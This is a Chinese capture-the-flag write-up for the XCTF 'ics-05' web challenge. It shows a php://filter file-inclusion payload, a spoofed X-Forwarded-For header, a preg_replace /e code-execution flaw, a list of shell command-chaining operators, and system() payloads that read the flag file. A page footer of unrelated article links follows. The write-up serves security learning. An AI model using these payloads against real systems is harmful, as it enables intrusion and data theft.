当前位置: 首页 > news >正文

攻防世界 ics-05

ics-05

隐藏的变量传参,php弱类型比较

只有设备维护中心可以点击进去

img

查看源码,发现有个隐藏的超链接变量传参

img

看到变量传参,有可能存在文件包含漏洞读取源码,这个站是php的站,所以可以使用php伪协议读取源码

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

img

base解码,可以看到漏洞点在这里

<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}
?>

分析一下,传入了三个变量pat,rep,sub

preg_replace:执行一个正则表达式的搜索和替换
● pattern 要搜索的模式。可以是一个字符串或字符串数组。  
● replacement 用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。  
● subject要进行搜索和替换的字符串或字符串数组。
● limit 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
● count 如果指定,将会被填充为完成的替换次数。找到这个函数存在的漏洞就是当$pattern使用了/e修正符的时候,替换的时候会将$replacement替换进去的代码当成php执行

img

所以先抓包,添加一个X-Forwarded-For

img

接着查看可疑文件,用%20代替空格 %26代替&,%20%26是它们的url编码

命令联合执行
;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)
system("ls%20s3chahahaDir")     
system("cd%20s3chahahaDir%26%26ls")

img

继续查看文件内容

system("ls%20s3chahahaDir/flag")
system("cd%20s3chahahaDir/flag")

img

拿到flag

system("cat%20s3chahahaDir/flag/flag.php")
system("cd%20s3chahahaDir/flag%26%26cat%20flag.php")

img

攻防世界XCTF:ics-05_xctf-insc05-CSDN博客

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【原创】java+swing+mysql项目管理系统设计与实现
  • OPENAIGC开发者大赛高校组银奖 | LonAC中小学编程学习平台
  • 借助MoAiStudio不写一行代码,完成页面开发
  • Redis的IO模型
  • 如何使用UWA Gears连接模拟器进行性能测试
  • Spring部分常见面试题
  • 记录k8s重启之后kubelet无法启动的问题
  • 数据库的实施过程分析
  • jeecg的单点登录
  • 如何使用YOLOv5进行物体检测,并通过GraspNet进行6D位姿估计,从而实现机械臂的抓取规划
  • misc音频隐写
  • 《代码整洁之道》读书笔记--目录
  • 【高级编程】synchronized 解决并发问题 类的线程安全类型
  • wireshark打开时空白|没有接口,卸载重装可以解决
  • iOS的传递链与响应链机制
  • Bytom交易说明(账户管理模式)
  • exports和module.exports
  • FastReport在线报表设计器工作原理
  • Flannel解读
  • Hexo+码云+git快速搭建免费的静态Blog
  • Java反射-动态类加载和重新加载
  • k个最大的数及变种小结
  • npx命令介绍
  • 从0搭建SpringBoot的HelloWorld -- Java版本
  • 基于游标的分页接口实现
  • 记一次和乔布斯合作最难忘的经历
  • 区块链将重新定义世界
  • 让你成为前端,后端或全栈开发程序员的进阶指南,一门学到老的技术
  • 深入浅出Node.js
  • 新手搭建网站的主要流程
  • 学习Vue.js的五个小例子
  • Spring Batch JSON 支持
  • # centos7下FFmpeg环境部署记录
  • ###C语言程序设计-----C语言学习(3)#
  • $.extend({},旧的,新的);合并对象,后面的覆盖前面的
  • $var=htmlencode(“‘);alert(‘2“); 的个人理解
  • (160)时序收敛--->(10)时序收敛十
  • (Redis使用系列) Springboot 使用redis实现接口Api限流 十
  • (附源码)python旅游推荐系统 毕业设计 250623
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (十六)一篇文章学会Java的常用API
  • (转)chrome浏览器收藏夹(书签)的导出与导入
  • .NET : 在VS2008中计算代码度量值
  • .NET 4.0中的泛型协变和反变
  • .net dataexcel winform控件 更新 日志
  • .net之微信企业号开发(一) 所使用的环境与工具以及准备工作
  • @Autowired自动装配
  • @staticmethod和@classmethod的作用与区别
  • [<事务专题>]
  • [2021ICPC济南 L] Strange Series (Bell 数 多项式exp)
  • [acwing周赛复盘] 第 69 场周赛20220917
  • [C# 基础知识系列]专题十六:Linq介绍
  • [C++]C++基础知识概述
  • [C语言]-基础知识点梳理-编译、链接、预处理
  • [FT]chatglm2微调